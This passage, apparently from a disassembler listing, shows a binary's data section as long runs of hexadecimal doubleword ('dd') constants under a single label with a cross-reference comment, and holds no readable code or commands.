4C500B25h, 0F06146CCh, 53DACF77h, 82DC88A0h dd 60CCD534h, 602D1328h, 0BFC8550Ch, 10AC18D5h, 12116544h dd 0C4A48F73h, 403BF84Bh, 0CC03B31Fh, 0C8CEEE8Eh, 0DFF80062h dd 7872F912h, 4360D666h, 0AAE10BB0h, 86289B3Fh, 906F2A6Bh dd 65B1CE00h, 502F9E4Eh, 0F52E4A1h, 0CA5C47F9h, 35EDA900h dd 430BF519h, 109380AFh, 62F64440h, 3B358868h, 0EE1770E4h dd 7801BE15h, 0A02ACC93h, 6B619887h, 3A709CB3h, 6D5FE001h dd 3D43CBD3h, 63E8976Fh, 600BBB73h, 1A8B5048h, 0FCB4643Ch dd 404BB2Eh, 0AA16CBh, 0B3F7A250h, 0EC0E0BBAh, 0FC8879D9h dd 96F341ACh, 9385F96Ah, 0BC18DA80h, 1A65079h, 3534E524h dd 345CAD44h, 0D504D0C8h, 0DC9173C0h, 6DCA00FAh, 865E6F6h dd 4448C10Eh, 75588046h, 0E8F3B45Fh, 13A4248Fh, 59210FDCh dd 78F1809Dh, 0F76BEE0Ch, 0C1645C01h, 0ECA3C473h, 0C9A56080h dd 0DBD38621h, 0FEEF6B0Ah, 0C8825827h, 0C2CC69F6h, 7B0441C8h dd 48A80834h, 584C9072h, 0D0846F89h, 0EEE0D03Ah, 2A07137Fh dd 7D2B3C9Ah, 0EDFCFED0h, 81C827D0h, 4993A0C0h, 44044E4Bh dd 34A041CBh, 4C737E90h, 6A0EB830h, 2507DEB1h, 0D333F0EAh dd 3F053EE7h, 0A0D038DCh, 947CA004h, 0D05D74B2h, 74A85502h dd 5081A66Ch, 72EBD9C8h, 15CB83E4h, 9C7801FDh, 596E0448h dd 139C3C93h, 0C4026BF7h, 0E28AB368h, 0F04C007h, 9C3073EFh dd 43DE00C0h, 0D3F4787Eh, 0CD823C9Eh, 0D74CD77Ah, 2C18EC08h dd 2CB600B4h, 5CEC5489h, 0D4943300h, 16340A73h, 1D5A160Ch dd 44A001D7h, 60701FAAh, 86414E00h, 0C8EEBC41h, 0FE200AFDh dd 4509A9Dh, 211D62FEh, 0E40C8055h, 4C0B6743h, 484FD144h dd 0C0DBD908h, 0E53FD8F8h, 0E100A69Fh, 678BCCB0h, 1F184AE0h dd 2D675F8h, 17B9CBD4h, 0C86F1868h, 61F82082h, 45C4ADAh dd 27444670h, 8614D05Bh, 0FD296C0Fh, 1808B4D2h, 7F021AFh dd 74CBECCEh, 0A3A801EEh, 0B025D544h, 0C1804040h, 291B313Fh dd 0E3941D08h, 0BF3EE8E8h, 0D4069B2Ah, 603B9535h, 65F48CC0h dd 85694A6Bh, 9DF85C70h, 2EC2A32h, 19D5CC73h, 0C0405A50h dd 89033A9Ch, 6DE44015h, 6CB9FFADh, 40646F4Ch, 0B88B0100h dd 9414F2B3h, 2ACD4EEh, 0AB6F0C6h, 6B23E064h, 9C02B519h dd 0A0E83CBAh, 189A89BBh, 0E9C97270h, 0D218802Fh, 2D5BEB34h dd 740032C8h, 77475996h, 464BB6EAh, 30C464B0h, 78182BDEh dd 0B102519Eh, 0C76795F5h, 5EFC60C5h, 627C9C60h, 78DE19CBh dd 0A70A53Dh, 202E583Ch, 8AE16047h, 2830FC34h, 65D4402Eh dd 0FEF08F71h, 0C9F85A58h, 2B3D0732h, 0F0ABAB0h, 64D93D51h dd 0F3E63300h, 0E7A86C1Eh, 44AB6812h, 0DC20C8E5h, 1002B7C5h dd 0A0CA155Eh, 0EB966068h, 181FC9Eh, 0C6EE4486h, 0C64E6E0h dd 0D5E8F91h, 0A64F0B30h, 0D450B445h, 6E4DC88h, 290F2ECDh dd 0DC5C102Ch, 0C38610B4h, 35E5F40Fh, 10E1BB1Ch, 0BCFD6BF8h dd 2C25FCE1h, 807C8973h, 448ECE90h, 88254922h, 0D840DE27h dd 0EA4CC967h, 0C962068h, 0F7F46ABBh, 33261CB9h, 6B847865h dd 0B8935520h, 839288CCh, 40E0B048h, 0FA0213A7h, 0BF182AA5h dd 0DB7460F3h, 443C94BBh, 2D28489h, 0DE695C8Ch, 52F05844h dd 0FE602641h, 22344A2Ah, 4C441DACh, 0C804AE4Ah, 2C839F8Ah dd 9D19348h, 0E5431578h, 53743424h, 0D1C7B0D1h, 80129212h dd 0B9D74170h, 28B0C4h, 7EDB04B2h, 1F484A13h, 0CC02180Eh dd 0F4C833C8h, 62649E52h, 0B4920344h, 0D0D0B642h, 0A5E6C516h dd 719DA400h, 0FDC20C9h, 43D866C3h, 0E5D302BFh, 3860C8B3h dd 9E003ACCh, 1B81635Ch, 1779E3E7h, 838CAC6Bh, 0C9143A8h dd 319070BBh, 846CE441h, 0E38C244Eh, 0FE9440ACh, 2BCC2807h dd 0C8926671h, 0CC80F7C1h, 3B4687D6h, 4051E7Bh, 78316B7Eh dd 0C0FCC054h, 0FE640561h, 3CD031C9h, 0F8340338h, 0C60AAF7Bh dd 88F938CBh, 0D0FE0B09h, 6D81326Dh, 8C988F28h, 0A4B663B4h dd 31B7064Fh, 0C2700010h, 0CAC5671Eh, 0B1272B99h, 203861CBh dd 10E97300h, 354BB903h, 0A8374213h, 726AE66Eh, 915B32FBh dd 0CC81EEB0h, 56F11C4Fh, 0F014F888h, 0C48430EDh, 44E0596Bh dd 610D25Eh, 683FD64Ch, 93775109h, 66E898D1h, 1FCE00D9h dd 22C01C1h, 6C7409D4h, 0FA52FE07h, 0A144C83Fh, 3BF87090h dd 77DD0121h, 2012DCF4h, 9E118039h, 0CBD1341Bh dword_4E414C dd 9444FDD0h, 0F5909081h, 8FCB005h, 38D06A48h, 5205890Bh ; DATA XREF: ___:off_43A188o dd 0C2C02E94h, 6A7D6644h, 0DD608044h, 0BAAB02CBh, 8D34C88h dd 29581992h, 3CD9EE9Dh, 0E9C86260h, 0F6B1CFDCh, 1A691938h dd 3CABC8A0h, 2EEFAE80h, 26104E1Dh, 829C16B5h, 0D0C06078h dd 0A000165Eh, 37BADD27h, 161470F8h, 1C19D250h, 0B36C407Dh dd 4522201Ah, 0DF759003h, 0B812FAF9h, 24852892h, 0A073B0h dd 8AC3BC0Eh, 0C6075B5Ch, 0D3D42C82h, 26A4B16h, 0C8051BA1h dd 0E88772F4h, 821876DDh, 5DE14414h, 86711868h, 69386B20h dd 0FC81D003h, 0E8D0342Bh, 0DB2701F3h, 6C9C984Eh, 2D091FFh dd 4D0B6456h, 99043C7Ah, 4F706555h, 40F7E898h, 944C7303h dd 0BC829314h, 7290627Bh, 9FFA5CC0h, 0CC34C716h, 0CC149368h dd 7FCA27Eh, 0F60A0ED5h, 60DBF780h, 11D70977h, 8060415Dh dd 924063C8h, 384C31F0h, 7C5F5481h, 12F8C4ECh, 748CC124h dd 0A04C44CAh, 6B7A669Ch, 0BC03B09Eh, 0F81367A7h, 0E7D6CE8h dd 87505FE0h, 1CD62CEFh, 3FDC0000h, 6AA81D3Dh, 0BF73C800h dd 1E5CE51Fh, 26B4E6A1h, 0EC90F0h, 0DABE5E04h, 19F30C8h dd 5130DACh, 440B4C66h, 0F400B211h, 470B6F58h, 85B8E858h dd 0A02694D4h, 0AE4FF1h, 0D6E99C8h, 0CE17F1BCh, 0B0D12046h dd 0E600FBD5h, 6501D8BBh, 3D1735D6h, 0AFFC6C2Eh, 6D4D3AF9h dd 28A02F9Ah, 4050C826h, 0E8B47CA4h, 78A06A12h, 0F8C64944h dd 13E9EE00h, 66C773FCh, 20F0E4BAh, 0CBE21CA3h, 6803F899h dd 994C5074h, 0F472950Bh, 0C830226Eh, 228D487h, 73FFBF08h dd 432D8A4h, 0F3050C82h, 29A087D8h, 0D32C5881h, 25CC30D5h dd 0E754DD07h, 2AE2C10Bh, 0F6544857h, 0E20D04B6h, 0E37BD009h dd 0D1C80CF8h, 5137083h, 4330C42Ch, 12058303h, 952F4BC0h dd 0ECF48F01h, 0D1A869FAh, 6785A9BAh, 8244F20Bh, 9CC24F84h dd 0A4F4A0F2h, 17D0B75Dh, 144404D5h, 2C91B2ACh, 80237441h dd 0C763FE09h, 0C818AC34h, 5018CC0Fh, 3F880BB8h, 9F00E19Ah dd 0D382AC24h, 6A74970Eh, 992045A0h, 6B0BDCB2h, 1464414Ah dd 0BC7464FDh, 5B65AB40h, 277822B3h, 0A4F2A862h, 0A34400B0h dd 78BB1C32h, 0ADD90041h, 74C45366h, 62802F13h, 0B93B44CAh dd 70A8B8E0h, 350BADDAh, 87587424h, 12D0FBF0h, 0F2C86C5Eh dd 0F2A33A3Dh, 41B38D90h, 0EB6A60C0h, 0E9160BFEh, 0A04B946Ah dd 0BEF820FFh, 4FDA7762h, 8F6C2019h, 0B70BDCA8h, 42B26B53h dd 2780C4D8h, 7C2F7DA9h, 8407A0DEh, 7ACFB72Fh, 68E442C5h dd 95922574h, 0E1FD3424h, 30D8E198h, 0A2B0BFA3h, 5F625CBCh dd 0C856051Bh, 0B630C8F0h, 0EF9340CEh, 48664850h, 109CB00h dd 390EB1E4h, 5ACE38h, 0F6B3C9A0h, 2BBDC95h, 7E66220Fh dd 88F640C7h, 5D094C29h, 620CEBDh, 0BF029243h, 68B68172h dd 7F784404h, 3F5DCB0h, 0A28DEAFh, 0D6D0EE13h, 0F4060250h dd 811C6AD9h, 0B46C1CD8h, 19880416h, 5F18F37Ch, 4499BC24h dd 77BDC69h, 314975CAh, 45DF4FDDh, 844CC848h, 0AE8E62Ch dd 0A88F8760h, 0CC092B9Fh, 77C860F7h, 0E0165566h, 6FC8D030h dd 612693Eh, 80D6350h, 428C8493h, 164D583Eh, 0CD0C08C8h dd 11783D0Ch, 2C481206h, 0CE75A801h, 0E8E39D56h, 0D9002DB0h dd 499FE83Ah, 0C77EF9BCh, 236006B0h, 84FDF3ACh, 510801ACh dd 350B29C8h, 922C78CCh, 20645CB5h, 64440B2Fh, 0B8741871h dd 0C0EC0E49h, 2D932CC9h, 2798989Eh, 0B0859444h, 0C4D84669h dd 5458107Fh, 4CC45EDFh, 659674E3h, 69B4884Ch, 0B35570BAh dd 6C38D298h, 0C9C95AAh, 58D1E482h, 6B67A987h, 0A0CD9DA5h dd 4AC87C70h, 0FF6C0BB4h, 913D5404h, 8391ED10h, 0E82B7D58h dd 9FCF8850h, 268D1D6Fh, 0A798BCECh, 0A86C11A0h, 0E4202904h dd 0FCC87A1Ah, 0F35E06F4h, 6014BDC8h, 0D5DFA12h, 4B759CA4h dd 0C4904685h, 0CB07D1FEh, 92D7C767h, 0C8057E32h, 9442ABECh dd 4C0B4048h, 41009D57h, 60C0E17h, 90A32244h, 5029078Ch dd 100ABCA1h, 7FFBEBFDh, 2638B896h, 4F08788Bh, 0DF6001EEh dd 70F7F15Ah, 0C200B542h, 9FE541D3h, 0F6EA6Ch, 6452A1FBh dd 0CC26F280h, 4418D200h, 43CADDE8h, 941E501Bh, 9F0C044Eh dd 85678FD5h, 0D2203268h, 14B40805h, 51A640C6h, 70B2C03h dd 0AF9ED102h, 2EF0E869h, 17A909BAh, 0E700EDF7h, 0DF20D1A7h dd 0BB01DBF6h, 74D04BAAh, 2C7082C5h, 925B1EB0h, 0E590B11Bh dd 9173013Eh, 652EC822h, 3B0B3834h, 6064360Bh, 494CA102h dd 0DAE6EF47h, 0C4615040h, 0A610E180h, 5C006910h, 51D550E5h dd 274A2135h, 78010A44h, 307BC658h, 3C00EEFCh, 80282A5Ah dd 0FC837D2h, 4E6841Fh, 0F5084CA0h, 90902C8Ah, 20EF44BEh dd 8012735Fh, 0D65B44h, 85C64DBCh, 0C80EB36Ch, 8BAF174Fh dd 6470C036h, 0FDCB1AC2h, 8C564035h, 2433CF51h, 34D8451Fh dd 5ADCD2E0h, 5644D20h, 0DCB1BD7h, 701D385Bh, 754073A5h dd 0A11584D2h, 0C874075Dh, 0F12D7E02h, 3468496Ah, 0EC00FEA8h dd 0A81B4089h, 7EBD278h, 0A76BF8DDh, 0A07B8764h, 0BC9A307h dd 5D2524B8h, 2C14CE3Dh, 89B8A7C2h, 88A8A304h, 579A0BD4h dd 1B624C12h, 79878AAh, 0E10944E5h, 2B27586Ah, 4D2A0831h dd 70512601h, 7300BA85h, 7CFEDCCDh, 93DD36Ah, 853FC8E9h dd 7BD5A421h, 0A02C45DEh, 93058824h, 8FAA39ABh, 525A0E6h dd 0CA120885h, 4C0592F0h, 0B0C0E06Fh, 0C646113h, 7775C8AAh dd 1F1A8B78h, 5EE17BCCh, 0D053E918h, 6B067824h, 0BAA86E4Eh dd 57788140h, 0E4BA8C51h, 0EC8B1088h, 38D8D417h, 6AE7E44h dd 2ECC5A38h, 93E0182Fh, 0D3428490h, 6B00444Eh, 0C415AAB0h dd 0B434D250h, 0CB830CB2h, 0D1043E11h, 0BA40446Eh, 79516080h dd 70590F13h, 0B3038432h, 0F00194F5h, 36B16899h, 803F1CC8h dd 4764E478h, 25E2611Eh, 0D480E31Eh, 0B6B8CA70h, 18673DC6h dd 0A808EC89h, 4401D8A1h, 8000CF38h, 54194348h, 27A1794Dh dd 1805FA55h, 0DA03AF3Fh, 611ECCh, 7811D1C9h, 0E14448FCh dd 506D59h, 0AB4C12DFh, 3F049019h, 1E02C774h, 2232B559h dd 82BED884h, 0F8580254h, 0D6B8C812h, 0D4E548F1h, 644D5866h dd 0DCA7C882h, 0D8B7AC01h, 57F80F2Fh, 20F81A89h, 9E350200h dd 746F6869h, 0BC7A00F0h, 27FF24C3h, 1C4C162Fh, 0F6C901EBh dd 1A9F036Bh, 98106FF4h, 0C17C2440h, 0C16A1E80h, 0EACBDC34h dd 0A9A8936Ch, 44050CB1h, 0C93682Ch, 63A6CC1Eh, 6B2F7A10h dd 0D32C814Ah, 0D03226CBh, 0C109FC43h, 5C8B239Dh, 9CB80444h dd 0C8800590h, 934B8B2Dh, 0CBBF7C90h, 0FE109205h, 0A2808368h dd 8C0DEBCh, 12F46BD1h, 1249121h, 5E8FCC65h, 0B442035h dd 0BF79F760h, 3A31EE62h, 0D6035D4Ah, 0A98B8746h, 0C0D508A0h dd 13755800h, 0F1E44B2Ah, 0C8D91203h, 0B4C80C7h, 5335CC47h dd 0FCC7D0C5h, 4E7C982h, 1128E70Ch, 604CC715h, 0CCD0064Fh dd 24B62925h, 0E1876107h, 0C141C003h, 38C03CA6h, 7DFE07E0h dd 60F9CC10h, 76403F82h, 0A25B9E12h, 0A5C30CF1h, 42449009h dd 1408C028h, 0E5FC808Ch, 0D327816h, 0B4E4D013h, 14019722h dd 79E73C88h, 0C458C978h, 32052F88h, 9E59BC48h, 7AEA8301h dd 2FAD6B01h, 846C276Ah, 54FCC2h, 0F70CD8ECh, 1001A37Ah dd 88E4DFFDh, 32CB05D2h, 0E694136Ah, 5723102Ch, 3674600h dd 6E9FB430h, 0F370E00Fh, 0C909DC1Ah, 1CD8B8h, 65CB6BF7h dd 504787F4h, 0FD63A200h dd 73DD850Ch, 0B343F02h, 5C5C5C7Bh, 0F3ACC04Bh, 0D924F6CDh dd 84160ADh, 3C2CD276h, 2CCB7D8Bh, 0B80112BCh, 62014B46h dd 7DD6C6D4h, 9A200737h, 0F713265Dh, 29E5C073h, 6C091D93h dd 4CEB0C8Fh, 63E09820h, 0F3C87133h, 907F87Ch, 6B61025Ch dd 132924B6h, 8A343CF9h, 98633F04h, 9310E48Fh, 0D05C0222h dd 6F57D27Bh, 28B8385h, 105ABFBCh, 0C9CF045Eh, 66D41961h dd 64F1E001h, 0DB32CA70h, 0E13F2055h, 54EACB2Ch, 6B620EE4h dd 0BF28160Ch, 92036101h, 13C8520Ah, 931C502Ch, 0FD2A4FF2h dd 61581DEAh, 3A4FA848h, 4C909C25h, 0B6304CBFh, 0D1644018h dd 3E00D966h, 6C07654Bh, 40CDE2h, 0A8906111h, 2AF573EBh dd 1377DAA0h, 808E3E3Ch, 0FFFA7C62h, 9C83D26Ah, 609447D0h dd 3D05EF08h, 8837EA01h, 0B1F5CBD5h, 0B980C438h, 10AA5CCCh dd 0F8A1D04Ah, 30448C18h, 0B1A02899h, 0C5004F3Fh, 6C78C64Bh dd 0B59A7CAh, 0A1C7806Dh, 0DCDB6CC1h, 3900A353h, 13D6CC2Ch dd 5636024h, 0C62BBFDCh, 0D0FC0882h, 4872D8A2h, 4888024Bh dd 25770E5Ah, 0F9E73CDFh, 1328E22Bh, 76B75140h, 0EDCBC01Fh dd 0CC573070h, 34D0B0E5h, 84F069FBh, 80AC51D5h, 4C830D2Dh dd 0A024EF0Fh, 3B62AC8Eh, 0A6B025Ch, 65C8BC80h, 600493D6h dd 0F9D8FB40h, 7CC0F6C2h, 4DD50054h, 0CC836D5Fh, 64445125h dd 924338D0h, 0BE1F2673h, 0FF3E38h, 0FF84EC20h, 60CBCED4h dd 99306760h, 0A070EBC6h, 3AFBFD8Ch, 3380CD7Ch, 0A8BF0864h dd 0E3A2F6Ch, 97CEB859h, 0DC45C657h, 90441F39h, 0B4F3E5D2h dd 18F13510h, 0D8E8130Ah, 716581DBh, 8A2BC190h, 0F8B8FE40h dd 42137C05h, 3A8890ACh, 4AB47C24h, 0C5CB0091h, 6212C02Ch dd 4D821DDh, 0DE5C60D9h, 5C645A40h, 399BE405h, 0B04F604Fh dd 0E14CF0A5h, 28B0997Fh, 0DC441270h, 1C885004h, 2D936704h dd 103CBDF2h, 7D09549Ah, 4AB056Bh, 46CDC2Bh, 0BAEDC817h dd 0A2EEBC47h, 3EC04444h, 2F121BCDh, 804B94h, 375EFFD1h dd 0C69B2802h, 49EC0848h, 30645780h, 0A20E0039h, 0E546D30Ch dd 0AA00C204h, 5D5F143Eh, 0B0A770E9h, 0A9400A0h, 4C851EEh dd 1295F116h, 56D40458h, 0BAB3482h, 0AA4A0CCCh, 653EC049h dd 26529020h, 7C44B857h, 67F44024h, 0A2954402h, 2420935Eh dd 0C0C99CCCh, 0D00567C8h, 0C66039CBh, 87EB8C10h, 60D4AA08h dd 0F6D6F0h, 0E04E9324h, 7C715C58h, 66CF0C1Ch, 22F56F80h dd 7E23562h, 8EBB57BCh, 107B76EAh, 8D78CCFCh, 2710BD00h dd 596AEC63h, 57DC0081h, 9DB785B3h, 0A10351E2h, 0CBD2BBAh dd 19406171h, 0B9EBFABCh, 109A3340h, 0E020BE48h, 7EC4008Ch dd 0E1A61978h, 3200B889h, 4571BCE7h, 3D0D154Dh, 3FF6E561h dd 5680EA82h, 0B2DCE605h, 0EE5CBD3Fh, 3DBC0C49h, 3B335064h dd 0FC19E24Bh, 0F8B8104Ah, 503CD077h, 5A3857h, 71F3DBF1h dd 0DFE179D9h, 845D0050h, 0DA454D6Ah, 0BCBB5104h, 3D05C786h dd 0FF3C070Eh, 0F030DD20h, 12605315h, 85E20318h, 0ADD13FA8h dd 20C0BF99h, 99E120BDh, 41D9DC14h, 0F8670A34h, 1001604Ah dd 3FDA1E5Dh, 0FE651041h, 0D1CF5C40h, 0BBA42685h, 0DD150601h dd 5F01181Ch, 683DA2AEh, 13308C4Ch, 58FA00FFh, 15D1C1AAh dd 0BCA271EBh, 9F4BD0C0h, 56943118h, 10CD5760h, 324CB15h dd 0BC2EDDACh, 9D3F8F6Ah, 0A526D0A8h, 183CABCBh, 7281003h dd 0A4860082h, 6485BA48h, 0C0009132h, 2C1156B7h, 3B138C40h dd 0F33D97h, 184FBD87h, 774D1625h, 0D9C00A78h, 506990C2h dd 705A000Dh, 0FF30D54Bh, 0B3001EBBh, 21998F0Ah, 3FFDD3E9h dd 33A47F19h, 3554003Ch, 4E17773Ah, 0F753E0A0h, 9F0C1300h dd 0E77D1A42h, 2C30013Dh, 7584C587h, 0A360E0CAh, 82C2AA14h dd 0BE2038Ch, 9835EC55h, 3AC8852Eh, 0AB00B202h, 0A254A0D1h dd 0F56E1331h, 492407D0h, 359C7BE0h, 25270146h, 0D0754EC9h dd 700DE03Dh, 0FEDD2400h, 0DED6B120h, 2F1515E9h, 5907A81Bh dd 0E531DCE1h, 10B800ADh, 28D50342h, 66D1B764h, 0BD154C80h dd 0F45250A5h, 100E01BAh, 2E320C34h, 2638863Eh, 48F0463Ch dd 0F00B45Dh, 23DAE442h, 10011541h, 0B2B8E9FFh, 0A960B157h dd 9DC4004Dh, 1127D8CFh, 0DF0105BAh, 0BD2E54D5h, 0EC40E66Dh dd 50E26B33h, 336F85Ch, 860B3C7h, 55D0D9E1h, 19018D44h dd 0C1F35D16h, 7422BDFFh, 3BA83524h, 1C8CCE90h, 0D4809175h dd 7661323Dh, 7F8B065Ch, 28833322h, 3069B20h, 0BD820B3Bh dd 10066715h, 55163209h, 842C48E0h, 4205724h, 81E1CA38h dd 80EBB770h, 718DBFD8h, 1774ADCh, 8E581094h, 244B1464h dd 680D18Ch, 6F7B00F3h, 4F957225h, 5A0961D5h, 0FCBDCA9h dd 270E00B8h, 78FFA50h, 19A007E9h, 5D3DC0A4h, 8A7CE017h dd 39647714h, 0F26A01B4h, 0BD310FA7h, 0C0506BC8h, 0BCBE01A8h dd 850CD9D1h, 817FD290h, 0AB860681h, 2872DB31h, 84428890h dd 97C8307Ch, 0FD948318h, 7CFF5C0Fh, 3CA486F1h, 8ABD1831h dd 38F8D070h, 0AE5A8500h, 0F9BCA028h, 0ACD8A0EFh, 83EC2631h dd 33BB833Ch, 0D5E02BBEh, 63502846h, 0C82877E4h, 404CD491h dd 0BE58C87Ch, 55BC187Eh, 1A3B50EDh, 15149CE8h, 9B4FD72h dd 0A97030AEh, 0BA54000Ch, 0A04BFB77h, 73AB4888h, 0E33F00C8h dd 16D520B7h, 64749160h, 9FDEA800h, 0BC90D254h, 0CFA599Ch dd 6529350Eh, 10E0154Eh, 4B5231A5h, 64C460C0h, 0EC2D82CAh dd 0DDC4A1D3h, 544AB300h, 2B159900h, 913E4EEBh, 0FD1402A2h dd 75BD6F50h, 812C0860h, 653D5800h, 0E1C886E4h, 0B8F700FEh dd 8D10836Fh, 0B530785Fh, 26E5B858h, 9198A2B4h, 0F3F0AE60h dd 48C0F085h, 0D849D05Dh, 84D21515h, 8947C90Fh, 0F1C03287h dd 0FA75C227h, 0EE522460h, 5A2D48h, 7E4D97E8h, 1ABEB189h dd 60B0C577h, 3670C410h, 166580C0h, 387AE544h, 63A8319Eh dd 0D48D4880h, 60773778h, 82E57510h, 58405700h, 2F004BBDh dd 64FD63A4h, 1613C9h, 7CD24ABFh, 8E623548h, 89B4B158h dd 2702997h, 28FC9ECh, 7880F7FFh, 4DE29B2Fh, 0F8933524h dd 1EBFEF01h, 2BE0F232h, 4F15195Bh, 64ACF8DFh, 1230C650h dd 5D13C85Fh, 0CC321911h, 0C80F5816h, 4938BBA5h, 0AB182DDh dd 0C89D3642h, 81066B80h, 0F5DD8B7h, 0AC2C321Ah, 7BA01038h dd 0DB860044h, 0DEBF651Ch, 0F948C6AAh, 189E200Ch, 0B033F6B7h dd 4D63C8BCh, 0C34A8D58h, 2A900AB6h, 1DB0DC5Dh, 0EC99621Ah dd 589F318Fh, 218C48h, 81EB5B38h, 8DAF321Dh, 291318C2h dd 0BD8CA1BEh, 0A3CD2C64h, 0BE8811A4h, 0D06A8C15h, 60D0EC40h dd 2C136958h, 401F14EBh, 10ACD332h, 0CF70F700h, 4EB13Ah dd 0DF440C3Dh, 0D674E686h, 1AC10C0h, 17574C3Fh, 717333CCh dd 0F03ED944h, 21005537h, 104D1D25h, 909F5A2Ch, 907E0011h dd 0C06BC3FFh, 3D00A9F5h, 5895CC31h, 662977B8h, 0B0639837h dd 0E7402A19h, 0C86086EEh, 2EC340D9h, 0D8CB6305h, 28D0E47Bh dd 808CDDBDh, 26173035h, 78408F84h, 0E1496AE4h, 0EA02C301h dd 0A3B8DA0h, 38607E5Eh, 253D8A0Ch, 27056BC0h, 73908400h dd 0C7EA5223h, 0E7271460h, 0C5162E69h, 0C252D0Fh, 0C01080E4h dd 0B6070F71h, 7F0C259h, 29C7E835h, 0D3B6046Bh, 2B812281h dd 73852D80h, 0FA8A614Ah, 0CF006073h, 8E7C25Ah, 5056D7F8h dd 5129B1BEh, 77EFDD27h, 81C42C36h, 0CC511E94h, 0F8164F63h dd 0DF88D407h, 850FEF84h dd 89BA0BA9h, 824BE01Fh, 1FBB10C1h, 69C85937h, 876F55CFh dd 0BF0094C5h, 862A31A3h, 8200432Bh, 7B35CBEFh, 33EA471Dh dd 572C7CD1h, 5257580h, 0F5905F39h, 10F08C77h, 51C9C000h dd 1FEA5955h, 5B2EC034h, 0E682D6F8h, 8D802126h, 0C4B95102h dd 0EAA78108h, 289D2013h, 456DCA97h, 2EF6FAEh, 355070B0h dd 0FBFEB6h, 0EE3E07BCh, 80FEDC31h, 0C48244DCh, 0F4EA3DA6h dd 7DDE3224h, 882E663Ch, 7B5E744Eh, 0C6C970EFh, 59D12202h dd 0D4158C39h, 551E5498h, 3AF070EAh, 1B69D7B9h, 370647EBh dd 41E9C281h, 6189CACh, 801AEC30h, 2291ED82h, 69568A18h dd 0EE2B0FC1h, 0F3E65B1Fh, 2E070FC3h, 3CEA655Eh, 6F3DDB27h dd 0C2021E00h, 0A0827359h, 551DEA09h, 9EE32C20h, 0C1825091h dd 71247029h, 0CF4F05Ch, 58477ED7h, 6507EC0Ch, 0DF02BC4Ah dd 1D17EAF3h, 1ED52DADh, 0F32E4CE9h, 0C61E874Ah, 0FD4CD9F7h dd 7F0212E4h, 0F9E0FE9h, 82893D59h, 0B5511720h, 0F5398184h dd 83EBB99Ah, 95EAE329h, 32202403h, 0E4341CA8h, 74C64F0Eh dd 81761C0Dh, 6B30EC78h, 9A0E1059h, 1F380012h, 0CE41D36h dd 0C87F32ABh, 8C62F9E6h, 91C58244h, 0B0615185h, 7368760h dd 43903FC8h, 406AD39h, 59EC4A0Ah, 5238A8EAh, 0D100AD31h dd 7DA7BA52h, 540037EBh, 9D6E57BCh, 0C6EC8260h, 0C2CF4BAh dd 72521C01h, 554FEA20h, 0EED4C124h, 0E5B6185h, 0DC10C10Ah dd 53924086h, 0B11D7828h, 0F16D0B67h, 0B8474275h, 1BD9DC69h dd 4EDE9A6Fh, 9FB4DF18h, 5FF143EFh, 3BCECFEAh, 8318F322h dd 5821E9F6h, 82E71185h, 84220CC7h, 4ACE880Ch, 3EDE05Dh dd 0F00D8A67h, 8FB80654h, 2C2E6CEAh, 9ACC893Bh, 2D0E0772h dd 2F402CD3h, 3EB151h, 0C329AAB3h, 0EAD13159h, 2CD0D87Ah dd 0BFB36430h, 8F65B8Ch, 3EE825Fh, 0EA30BDAAh, 0DA69B184h dd 0B965A833h, 573E0491h, 95A5EA4Bh, 0BE520ABAh, 1C0FA4D8h dd 996038E0h, 0E78133B7h, 0F73B8973h, 0D4CF1DB2h, 20BBDF54h dd 53672638h, 721083h, 0BBC05860h, 32E7F27h, 2D1FD082h dd 0E8B04F92h, 0A73E28DFh, 0E224C14h, 0AC658339h, 390110E0h dd 0EA1FE8A9h, 0D0CF73A6h, 800D2FBh, 9430C882h, 42233D3h dd 0EBC260FBh, 1FF28006h, 390304D2h, 0C3EAD88Ah, 533E0097h dd 3D3835BBh, 0C602BC5Ah, 2AA5084Dh, 0EA0D60D4h, 4853748Fh dd 0E007FB22h, 0F749A833h, 56E7D3DAh, 1046424Ch, 690B1DBDh dd 5E3202C6h, 2210930Ch, 8498F94Ch, 0CA108330h, 7E71E70Fh dd 8CE93281h, 3879322Dh, 0EA310667h, 344DF5Eh, 536AC481h dd 0C3B25BB3h, 0AE6CB38Eh, 0CBFEC706h, 0CF318C9h, 24EABCFAh dd 0A0226C6Dh, 6B691AEAh, 3C819B67h, 37515A55h, 98EA126Eh dd 56544340h, 5882E68Ah, 0EECEBFC6h, 5D2162D2h, 44A00044h dd 4BC2A2CFh, 6E0D8CCEh, 0B0EFF610h, 0FC7334EEh, 0BC9B06D0h dd 0C4435B7Eh, 69141D20h, 0D4A54613h, 795809B7h, 0FC3E964Eh dd 6E0A54D1h, 0FE5049EAh, 0FC4B4F77h, 879A2A2Fh, 1BF61C84h dd 0C4B417C7h, 0A23F697Eh, 889AC386h, 6764349Ch, 2969D780h dd 135CECFBh, 0FBFB652h, 82F45AD7h, 2C370810h, 8D188B4Eh dd 1EB8C373h, 0FD0FAA4Dh, 980F828h, 6E18A51h, 6068129Ah dd 20D0F211h, 17541065h, 5709874Dh, 2EB25F55h, 1440612h dd 0D414FF9Bh, 0EA9D06D5h, 315ADE39h, 0DF6AC184h, 442214FAh dd 5327AF2Eh, 3DDA2860h, 0EA1309A7h, 0A9086BAh, 4AB2EDE1h dd 2B51D258h, 0B53D4B3Dh, 0B6016BEDh, 3BA4065Bh, 5FF8B125h dd 374DD60Ch, 247D11CDh, 5704FC34h, 0A16D97CFh, 0C6021D18h dd 995A25F0h, 66A6CFB5h, 0FE58BF26h, 91E61E1Eh, 2D002F93h dd 2724FDEEh, 724B005h, 26B879FBh, 41086902h, 2AEA0908h dd 885A9521h, 31A54815h, 40940544h, 8DA082DDh, 0D93E7D88h dd 45F41B80h, 6473C789h, 5C2612FEh, 0ED26145Bh, 0EA2F6193h dd 5F1924F3h, 0C0F08A32h, 0C489031Ch, 1D8CDA90h, 29591DA0h dd 0D50C979h, 27A65209h, 89753561h, 0AA61F7F9h, 4065BB20h dd 6050544Eh, 3E9431DAh, 28AF6905h, 0B75FCCh, 0ACEF81D5h dd 31D3B454h, 3F204EBAh, 11060553h, 0D4020C6Ah, 42071D41h dd 1D097121h, 265E7169h, 0D92A149Bh, 338B07FDh, 0CBE0097Ch dd 0C3B24F4h, 4322EA32h, 0D777B826h, 22759625h, 0C152882Dh dd 0F5D8B613h, 2C50714Dh, 8055A1EAh, 54274726h, 940F0619h dd 0E6039373h, 1E12F5h, 0C2080ABEh, 0D8EB8217h, 3894230Eh dd 3EEAC22Ah, 26C55141h, 76A40F38h, 3E0B7DA9h, 0D8F86EA2h dd 60044941h, 0BF04C92Ah, 